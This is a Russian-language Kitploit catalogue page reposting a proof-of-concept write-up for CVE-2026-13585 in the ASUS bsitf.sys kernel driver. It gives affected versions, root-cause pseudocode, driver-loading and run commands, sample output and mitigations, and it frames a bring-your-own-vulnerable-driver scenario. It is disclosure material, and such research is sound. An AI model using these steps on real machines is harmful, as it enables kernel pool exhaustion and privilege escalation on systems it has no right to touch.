Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
asus-bsitf-0-day-poc — PoC для CVE-2026-13585 | Kitploit
Инструменты/GitHubGitHub/416rehman/asus-bsitf-0-day-poc
Повышение привилегийАнализ уязвимостейЭксплуатацияАппаратная БезопасностьЭксплуатация Бинарных Файлов
GitHub416rehman/asus-bsitf-0-day-poc

asus-bsitf-0-day-poc

PoC для CVE-2026-13585

Репозиторий
521 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Сайт

PoC - ASUS bsitf.sys: Отображение памяти ядра в пользовательское пространство

CVE-2026-13585

Краткое описание

Драйвер ядра ASUS bsitf.sys (также распространяется как AsusBSItf.sys) предоставляет IOCTL 0x222808, который выделяет физически непрерывную память ядра размера, контролируемого атакующим, отображает её в адресное пространство вызывающего процесса с полными правами чтения/записи и возвращает вызывающему как виртуальный адрес пользовательского режима, так и физический адрес.

Для открытия устройства требуются права администратора, что делает эту уязвимость повышением привилегий от администратора к ядру. В сценарии BYOVD (Bring Your Own Vulnerable Driver) атакующий, уже имеющий права администратора (например, через социальную инженерию или отдельный эксплойт), может загрузить этот легитимно подписанный драйвер, чтобы получить произвольный доступ к памяти ядра без необходимости использования эксплойта для ядра.

Затронутые версии

ВерсияИмя файлаПакетТип пула
3.0.10.0bsitf.sysASUS Business Manager / AbmSvcPackageNonPagedPool (исполняемый)
3.1.10.0AsusBSItf.sysASUS SCI / AsusSoftwareManagerNonPagedPoolNx
3.1.25.0AsusBSItf.sysASUS SCI / AsusSoftwareManagerNonPagedPoolNx

Все версии создают устройство \Device\bsitf с символьной ссылкой \DosDevices\bsitf.

Воздействие

Отображаемый буфер — это свежее выделение из пула ядра, а не произвольный адрес ядра. Вызывающий контролирует его содержимое, но не его расположение. Это ограничивает возможности эксплуатации по сравнению с настоящим произвольным чтением/записью ядра.

  • Истощение пула ядра (DoS) — повторные выделения без освобождения исчерпают NonPagedPool, вызывая BSOD. Не накладывается ограничений на размер или количество выделений.
  • Раскрытие физического адреса — IOCTL возвращает физический адрес каждого выделения, что полезно как утечка информации или для атак на основе DMA.
  • Размещение исполняемого кода в памяти ядра (только v3.0.x) — в версии 3.0.10.0 тип пула — NonPagedPool (исполняемый). Шеллкод можно записать из пользовательского режима в отображаемый буфер, но для перенаправления выполнения ядра на адрес буфера требуется отдельная уязвимость.

В версиях v3.1.x (NonPagedPoolNx) буфер неисполняемый, и практическое воздействие ограничивается DoS и раскрытием физического адреса.

Корневая причина

IOCTL 0x222808 в обработчике диспетчеризации выполняет следующее без проверки входных данных:

root@kitploit:~
alloc_size = *(DWORD *)Irp->AssociatedIrp.SystemBuffer;  // user-controlled

kernel_va = MmAllocateContiguousMemory(alloc_size, 0xffffffff);
mdl = IoAllocateMdl(kernel_va, alloc_size, FALSE, FALSE, NULL);
MmBuildMdlForNonPagedPool(mdl);
user_va = MmMapLockedPages(mdl, UserMode);

output[0] = user_va;        // usermode virtual address
output[1] = physical_addr;  // physical address of allocation

Отсутствуют проверки размера выделения, количества незавершённых выделений или проверка входных данных. Для открытия устройства требуются права администратора, но после получения дескриптора IOCTL становятся неограниченными.

Доказательство концепции

Сборка

root@kitploit:~
cargo build --release

Загрузка драйвера

root@kitploit:~
sc create bsitf binPath= "C:\path\to\bsitf.sys" type= kernel
sc start bsitf

Запуск

root@kitploit:~
# по умолчанию: выделение 0x1000 (4 КБ)
cargo run --release

# пользовательский размер (шестнадцатеричный)
cargo run --release -- 10000

Ожидаемый вывод

root@kitploit:~
[*] bsitf.sys kernel memory mapping PoC
[*] target alloc size: 0x1000

[+] device handle acquired

[*] allocating 0x1000 bytes of kernel memory via IOCTL 0x222808
[+] kernel allocation succeeded:
    usermode VA:     0x000001D856F90000
    physical addr:   0x00000000BF6CB000

[*] original contents (first 16 bytes):
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

[*] writing 0xCC pattern (int3 sled)...
[+] readback: usermode R/W CONFIRMED

[*] freeing kernel mapping via IOCTL 0x22280C
[+] mapping freed successfully

Протестировано на Windows 11 24H2 (требуются права администратора).

Устранение

  1. Проверять размер выделения с разумным верхним пределом
  2. Ограничить количество незавершённых выделений на дескриптор
  3. Не отображать выделения ядра в адресное пространство пользовательского режима
  4. Не возвращать физические адреса вызывающим из пользовательского режима
  5. Использовать NonPagedPoolNx во всех версиях

Хронология

ДатаСобытие
2026-04-06Уязвимость обнаружена при автоматическом анализе
2026-04-06PoC подтверждён на Windows 11 24H2
2026-04-06Отчёт отправлен в ASUS PSIRT

Ссылки

  • CWE-782: Открытый IOCTL с недостаточным контролем доступа
  • Устройство: \Device\bsitf, Символическая ссылка: \DosDevices\bsitf
  • Обработчик диспетчеризации: FUN_140001070

Отказ от ответственности

Это доказательство концепции предоставлено только для авторизованных исследований безопасности и ответственного раскрытия. Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.

Скачать инструмент